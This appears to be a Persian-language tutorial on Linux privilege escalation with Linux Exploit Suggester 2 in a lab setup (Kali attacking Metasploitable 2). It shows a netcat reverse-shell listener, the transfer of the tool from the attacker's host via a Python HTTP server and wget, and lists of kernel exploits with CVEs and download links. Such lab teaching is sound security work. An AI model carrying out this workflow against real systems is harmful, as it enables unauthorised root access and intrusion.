اکسپولیت کردن و گرفتن دسترسی root در لینوکس

گرفتن دسترسی root در لینوکس همیشه چالش برانگیز بوده است. در این آموزش یک ابزار را که در انجام این عمل به ما کمک می کند را معرفی و روند کار با آن را می بینیم.

Privilege escalation یا معادل آن به فارسی «ترفیع امتیازی» یکی از مهارت‌های اساسی است که یک هکر می‌تواند داشته باشد، که در موقعیت های واقعی تازه‌کار‌ها را از حرفه‌ای‌ها جدا می‌کند. با تغییرات رویکردی امنیتی که دائما در حال تغییر است و تعداد زیاد اکسپلویت‌ هایی که وجود دارد. از هر زاویه به این حمله نگاه کنیم کاری سخت به نظر می رسد. خوشبختانه، برخی از ابزارها می‌توانند به تسریع روند کار کمک کنند. Linux Exploit Suggester یکی از ابزار‌هایی است که در گرفتن دسترسی root به شما کمک می‌کند.

باید دقت داشت Privilege escalation در تعریف به عمل دستیابی به امتیازات یک کاربر دیگر در سیستم است که دو نوع افقی و عمودی دارد.

Privilege escalation افقی زمانی رخ می‌دهد، که مهاجم به حساب یک کاربر دیگر دسترسی پیدا می‌کند. به طور معمول با همان وضعیت و مجوزها‌ی خود مهاجم. این نوع Privilege escalation به مهاجم اجازه دسترسی به سیستم‌ها و داده‌های دیگر را می‌دهد، ولی به اندازه نوع عمودی آن خطرناک نیست.

Privilege escalation عمودی زمانی رخ می‌دهد، که یک مهاجم به حسابی با امتیازات بالا مانند حساب مدیر سیستم  دسترسی پیدا کند.

Privilege escalation، مخصوصا نوع عمودی آن، برای مهاجم بسیار مهم است، زیرا به مهاجم این امکان را می‌دهد، کارهایی را انجام دهد که یک کاربر عادی قادر به انجام آن‌ها نیست. بجز در سیستم‌هایی که پیکربندی ضعیف دارند، کاربران عادی، معمولاً نمی‌توانند کد مخربی را اجرا کنند و یا سیستم را به روش‌هایی که بتوان به نفع حمله استفاده کرد، پیکربندی کنند. به همین دلیل است که Privilege escalation برای گرفتن دسترسی کامل به یک هدف مهم است.

برای اینکه بتوانیم نحوه استفاده از Linux Exploit Suggester را با هم مرور کنیم نیاز است که یک سیستم آسیب پذیر داشته باشیم. همان طور که می دانید دهه ۲۰۰۰ میلادی نیست که سایت های هک شده را در یک تاپیک در انجمن به عنوان تارگت های تمرینی قرار دهیم به همین دلیل از ابزارهای مدرن استفاده خواهیم کرد که برای امروز از Metasploitable 2 استفاده خواهیم کرد. از Metasploitable 2 به عنوان هدف و از کالی لینوکس به عنوان دستگاه حمله کننده استفاده می کنیم.

مرحله 1:

نصب و اقدامات اولیه برای به خطر انداختن سیستم

در اولین قدم، باید Linux Exploit Suggester را از GitHub دریافت کنیم. اما مطمئنا در شرایط واقعی اتفاقی که رخ خواهد داد این است که شما نمی توانید با فرمان git کار کنید چرا که ممکن است نصب نشده باشد یا اصلا محدودیت های خاص دیگری در سیستم هدف اعمال شده باشد، بنابراین باید ابتدا آن را در سیستم خود داشته باشیم و بعداً آن را به هدف منتقل کنیم.ولی با استفاده از wget از طریق ترمینال می‌توانیم به صورت مستقیم فایل را منتقل کنیم:

~# wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl

--2020-06-03 12:15:58--  https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24780 (24K) [text/plain]
Saving to: ‘linux-exploit-suggester-2.pl’

linux-exploit-suggester-2.pl                          100%[======================================================================================================================>]  24.20K  --.-KB/s    in 0.03s

2020-06-03 15:15:58 (718 KB/s) - ‘linux-exploit-suggester-2.pl’ saved [24780/24780]

اولین قدم این است که به Shell دسترسی پیدا کنیم. تزریق فرمان (Command injection) همیشه گزینه جذابی بوده است. برای اینکه مطمئن شویم که در حال حاضر با چه کاربری در سیستم شناخته می شویم که قاعدتا www-data است و چه id متعلق به این کاربر است، طبق روش زیر عمل می کنیم:

~# nc -lvnp 4321

listening on [any] 4321 ...
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 36302
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

از اینجا به بعد، ما می‌خواهیم shell خود را به به طور کامل interactive TTY shell ارتقا دهیم، تا کنترل بیش‌تری داشته باشیم و بتوانیم از قابلیت هایی همچون تکمیل دستور (tab completion)، تاریخچه دستور‌ها (command history) و غیره استفاده کنیم. وقتی shell خود را ارتقا دادیم، می‌توانیم به یک دایرکتوری قابل استفاده برای همه (world-writable) برویم تا بتوانیم ابزار زیر را دریافت کرده و در نهایت آن را اجرا کنیم.

[email protected]:/var/www/dvwa/vulnerabilities/exec$ cd /dev/shm

مرحله 2:

انتقال اسکریپت به هدف

به دستگاه خود بر می‌گردیم، بهتر است نام اسکریپت را تغییر دهیم تا کوتاه‌تر شود که راحت تر از آن بتوانیم استفاده کنیم.

~# mv linux-exploit-suggester-2.pl les2.pl

اکنون می‌توانیم اسکریپت را به SimpleHTTPServer پایتون بدهیم. برای مشخص کردن حالت وب سرور از سوئیچ -m استفاده کنید: این کار هر محتوایی را که در دایرکتوری HTTP روی پورت 8000 است را روی اینترنت می برد (قابل دسترس می نماید).

~# python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

به هدف خود بر‌می‌گردیم. ما می‌توانیم دوباره از wget برای گرفتن اسکریپت از دستگاه خودمان استفاده کنیم:

[email protected]:/dev/shm$ wget http://10.10.0.1:8000/les2.pl

--16:43:17--  http://10.10.0.1:8000/les2.pl
           => `les2.pl'
Connecting to 10.10.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24,780 (24K) [text/x-perl]

100%[=========================================================================================================================================================================>] 24,780        --.--K/s

16:43:18 (70.47 MB/s) - `les2.pl' saved [24780/24780]

پس از اتمام این کار، می‌توانیم سرور پایتون را از بین ببریم.اکنون می‌توانیم به مجوزهای فعلی اسکریپت خود که به تازگی منتقل کردیم نگاهی بیندازیم:

[email protected]:/dev/shm$ ls -la

total 28
drwxrwxrwt  2 root     root        60 Jan 19 13:43 .
drwxr-xr-x 13 root     root     13480 Jan 19 13:28 ..
-rw-r--r--  1 www-data www-data 24780 Jun 03 2020 les2.pl

می‌بینیم که در این مرحله اسکریپت فقط قابل خواندن است، بنابراین از دستور Chmod برای قابل اجرا شدن اسکریپت استفاده می‌کنیم:

[email protected]:/dev/shm$ chmod +x les2.pl

سرانجام ، آماده اجرای اسکریپت خواهیم بود.

مرحله 3:

اجرا پیشنهاد‌ دهنده اکسپلویت لینوکس

از آنجا که اسکریپت ما قابل اجراست، می‌توانیم از دستور نقطه اسلش ( ./ ) برای اجرای Linux Exploit Suggester استفاده کنیم. برای دیدن منوی راهنما و مثال های استفاده از سویچ -h استفاده می شود:

[email protected]:/dev/shm$ ./les2.pl -h

  #############################
    Linux Exploit Suggester 2
  #############################

  Usage: ./les2.pl [-h] [-k kernel] [-d]

  [-h] Help (this message)
  [-k] Kernel number (eg. 2.6.28)
  [-d] Open exploit download menu

  You can also provide a partial kernel version (eg. 2.4)
  to see all exploits available.

ابتدایی ترین روش استفاده از این ابزار، اجرای آن بدون هیچ گزینه ای است:

[email protected]:/dev/shm$ ./les2.pl

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 2.6.24
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [4] do_pages_move
      Alt: sieve       CVE-2010-0415
      Source: Spenders Enlightenment
  [5] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [6] half_nelson1
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [7] half_nelson2
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [8] half_nelson3
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [9] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [10] pipe.c_32bit
      CVE-2009-3547
      Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
  [11] pktcdvd
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [12] reiserfs
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [13] sock_sendpage
      Alt: wunderbar_emporium       CVE-2009-2692
      Source: http://www.exploit-db.com/exploits/9435
  [14] sock_sendpage2
      Alt: proto_ops       CVE-2009-2692
      Source: http://www.exploit-db.com/exploits/9436
  [15] video4linux
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024
  [16] vmsplice1
      Alt: jessica biel       CVE-2008-0600
      Source: http://www.exploit-db.com/exploits/5092
  [17] vmsplice2
      Alt: diane_lane       CVE-2008-0600
      Source: http://www.exploit-db.com/exploits/5093

Linux Exploit Suggester با شناسایی نسخه کرنل و مقایسه آن با لیستی از اکسپلویت‌های احتمالی کار می‌کند. در بالا می‌توانیم تعدادی از اکسپلویت‌های بالقوه را با ذکر نام، شماره CVE و لینکی به منبع‌‌شان مشاهده کنیم. همچنین می‌توانیم با استفاده از سویچ -K نسخه کرنل را به صورت دستی مشخص کنیم. برای مطمئن شدن می تواین نسخه کرنل را با دستور uname -r بررسی کنیم:

[email protected]:/dev/shm$ uname -r

2.6.24-16-server

به جای استفاده از شماره دقیق نسخه، می‌توانیم آن را به 2.6 کوتاه کنیم، زیرا سیستم‌ها اغلب ممکن است در برابر اکسپلویت‌های کمی قدیمی نیز آسیب پذیر باشند:

[email protected]:/dev/shm$ ./les2.pl -k 2.6

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 2.6
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language (2.6.0)
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm (2.6.18)
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] caps_to_root (2.6.34)
      CVE-n/a
      Source: http://www.exploit-db.com/exploits/15916
  [4] dirty_cow (2.6.22)
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [5] do_pages_move (2.6.18)
      Alt: sieve       CVE-2010-0415
      Source: Spenders Enlightenment
  [6] elfcd (2.6.12)
  [7] exit_notify (2.6.25)
      Source: http://www.exploit-db.com/exploits/8369
  [8] exp.sh (2.6.9)
  [9] exploit_x (2.6.22)
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [10] ftrex (2.6.11)
      CVE-2008-4210
      Source: http://www.exploit-db.com/exploits/6851
  [11] h00lyshit (2.6.8)
      CVE-2006-3626
      Source: http://www.exploit-db.com/exploits/2013
  [12] half_nelson1 (2.6.0)
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [13] half_nelson2 (2.6.0)
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [14] half_nelson3 (2.6.0)
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [15] kdump (2.6.13)
  [16] krad (2.6.5)
  [17] krad3 (2.6.5)
      Source: http://exploit-db.com/exploits/1397
  [18] local26 (2.6.13)
  [19] memodipper (2.6.39)
      CVE-2012-0056
      Source: http://www.exploit-db.com/exploits/18411
  [20] msr (2.6.18)
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [21] newsmp (2.6)
  [22] ong_bak (2.6.5)
  [23] pipe.c_32bit (2.6.15)
      CVE-2009-3547
      Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
  [24] pktcdvd (2.6.0)
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [25] prctl (2.6.13)
      Source: http://www.exploit-db.com/exploits/2004
  [26] prctl2 (2.6.13)
      Source: http://www.exploit-db.com/exploits/2005
  [27] prctl3 (2.6.13)
      Source: http://www.exploit-db.com/exploits/2006
  [28] prctl4 (2.6.13)
      Source: http://www.exploit-db.com/exploits/2011
  [29] ptrace_kmod2 (2.6.26)
      Alt: ia32syscall,robert_you_suck       CVE-2010-3301
      Source: http://www.exploit-db.com/exploits/15023
  [30] pwned (2.6.11)
  [31] py2 (2.6.9)
  [32] raptor_prctl (2.6.13)
      CVE-2006-2451
      Source: http://www.exploit-db.com/exploits/2031
  [33] rawmodePTY (2.6.31)
      CVE-2014-0196
      Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
  [34] rds (2.6.30)
      CVE-2010-3904
      Source: http://www.exploit-db.com/exploits/15285
  [35] reiserfs (2.6.18)
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [36] sctp (2.6.26)
      CVE-2008-4113
  [37] semtex (2.6.37)
      CVE-2013-2094
      Source: http://www.exploit-db.com/exploits/25444
  [38] sock_sendpage (2.6.0)
      Alt: wunderbar_emporium       CVE-2009-2692
      Source: http://www.exploit-db.com/exploits/9435
  [39] sock_sendpage2 (2.6.0)
      Alt: proto_ops       CVE-2009-2692
      Source: http://www.exploit-db.com/exploits/9436
  [40] stackgrow2 (2.6.10)
  [41] udev (2.6.25)
      Alt: udev <1.4.1       CVE-2009-1185
      Source: http://www.exploit-db.com/exploits/8478
  [42] udp_sendmsg_32bit (2.6.1)
      CVE-2009-2698
      Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
  [43] uselib24 (2.6.10)
  [44] vconsole (2.6)
      CVE-2009-1046
  [45] video4linux (2.6.0)
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024
  [46] vmsplice1 (2.6.17)
      Alt: jessica biel       CVE-2008-0600
      Source: http://www.exploit-db.com/exploits/5092
  [47] vmsplice2 (2.6.23)
      Alt: diane_lane       CVE-2008-0600
      Source: http://www.exploit-db.com/exploits/5093

می‌ببینیم که این کار، تعداد بیشتری از اکسپلویت‌های احتمالی را به ما نمایش می دهد. آخرین گزینه پیشنهاد‌دهنده اکسپلویت لینوکس امکان دانلود خودکار اسکریپت‌های هر اکسپلویت برای هر آسیب پذیری است. برای فعال کردن این گزینه از سویچ -d استفاده می کنیم:

[email protected]:/dev/shm$ ./les2.pl -k 2.6 -d

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 2.6
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language (2.6.0)
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm (2.6.18)
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] caps_to_root (2.6.34)
      CVE-n/a
      Source: http://www.exploit-db.com/exploits/15916
  [4] dirty_cow (2.6.22)
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [5] do_pages_move (2.6.18)
      Alt: sieve       CVE-2010-0415
      Source: Spenders Enlightenment
  [6] elfcd (2.6.12)
  [7] exit_notify (2.6.25)
      Source: http://www.exploit-db.com/exploits/8369
  [8] exp.sh (2.6.9)
  [9] exploit_x (2.6.22)
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [10] ftrex (2.6.11)
      CVE-2008-4210
      Source: http://www.exploit-db.com/exploits/6851
  [11] h00lyshit (2.6.8)
      CVE-2006-3626
      Source: http://www.exploit-db.com/exploits/2013
  [12] half_nelson1 (2.6.0)
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [13] half_nelson2 (2.6.0)
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [14] half_nelson3 (2.6.0)
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [15] kdump (2.6.13)
  [16] krad (2.6.5)
  [17] krad3 (2.6.5)
      Source: http://exploit-db.com/exploits/1397
  [18] local26 (2.6.13)
  [19] memodipper (2.6.39)
      CVE-2012-0056
      Source: http://www.exploit-db.com/exploits/18411
  [20] msr (2.6.18)
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [21] newsmp (2.6)
  [22] ong_bak (2.6.5)
  [23] pipe.c_32bit (2.6.15)
      CVE-2009-3547
      Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
  [24] pktcdvd (2.6.0)
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [25] prctl (2.6.13)
      Source: http://www.exploit-db.com/exploits/2004
  [26] prctl2 (2.6.13)
      Source: http://www.exploit-db.com/exploits/2005
  [27] prctl3 (2.6.13)
      Source: http://www.exploit-db.com/exploits/2006
  [28] prctl4 (2.6.13)
      Source: http://www.exploit-db.com/exploits/2011
  [29] ptrace_kmod2 (2.6.26)
      Alt: ia32syscall,robert_you_suck       CVE-2010-3301
      Source: http://www.exploit-db.com/exploits/15023
  [30] pwned (2.6.11)
  [31] py2 (2.6.9)
  [32] raptor_prctl (2.6.13)
      CVE-2006-2451
      Source: http://www.exploit-db.com/exploits/2031
  [33] rawmodePTY (2.6.31)
      CVE-2014-0196
      Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
  [34] rds (2.6.30)
      CVE-2010-3904
      Source: http://www.exploit-db.com/exploits/15285
  [35] reiserfs (2.6.18)
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [36] sctp (2.6.26)
      CVE-2008-4113
  [37] semtex (2.6.37)
      CVE-2013-2094
      Source: http://www.exploit-db.com/exploits/25444
  [38] sock_sendpage (2.6.0)
      Alt: wunderbar_emporium       CVE-2009-2692
      Source: http://www.exploit-db.com/exploits/9435
  [39] sock_sendpage2 (2.6.0)
      Alt: proto_ops       CVE-2009-2692
      Source: http://www.exploit-db.com/exploits/9436
  [40] stackgrow2 (2.6.10)
  [41] udev (2.6.25)
      Alt: udev <1.4.1       CVE-2009-1185
      Source: http://www.exploit-db.com/exploits/8478
  [42] udp_sendmsg_32bit (2.6.1)
      CVE-2009-2698
      Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
  [43] uselib24 (2.6.10)
  [44] vconsole (2.6)
      CVE-2009-1046
  [45] video4linux (2.6.0)
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024
  [46] vmsplice1 (2.6.17)
      Alt: jessica biel       CVE-2008-0600
      Source: http://www.exploit-db.com/exploits/5092
  [47] vmsplice2 (2.6.23)
      Alt: diane_lane       CVE-2008-0600
      Source: http://www.exploit-db.com/exploits/5093

  Exploit Download
  (Download all: 'a' / Individually: '2,4,5' / Exit: ^c)
  Select exploits to download:

پس از تعیین اکسپلویت، به ما گزینه ای برای دانلود همه اکسپلویت ها یا اکسپلویت اختصاصی خودمان، نمایش داده می شود. برای مثال، اگر بخواهیم اکسپلویت udev را دانلود کنیم، به سادگی شناسه مربوطه را وارد می‌کنیم:

Exploit Download
  (Download all: 'a' / Individually: '2,4,5' / Exit: ^c)
  Select exploits to download: 41

  Downloading https://www.exploit-db.com/raw/8478 -> exploit_udev

در نظر داشته باشید که این ویژگی به یک اتصال فعال به اینترنت نیاز دارد، بنابراین اگر دسترسی به هر طریقی محدود شود، کار آن مختل خواهد شد. با این حال، Linux Exploit Suggester اجرای دقیق Exploit روی هدف را بسیار ساده  می‌کند.

نکته: مطمئنا روش ها و ابزارهای دیگه ای برای افزایش سطح دسترسی و گرفتن دسترسی root وجود دارد ولی هدف از این مقاله نحوه کارکرد کلی و انجام این نوع از حملات می باشد.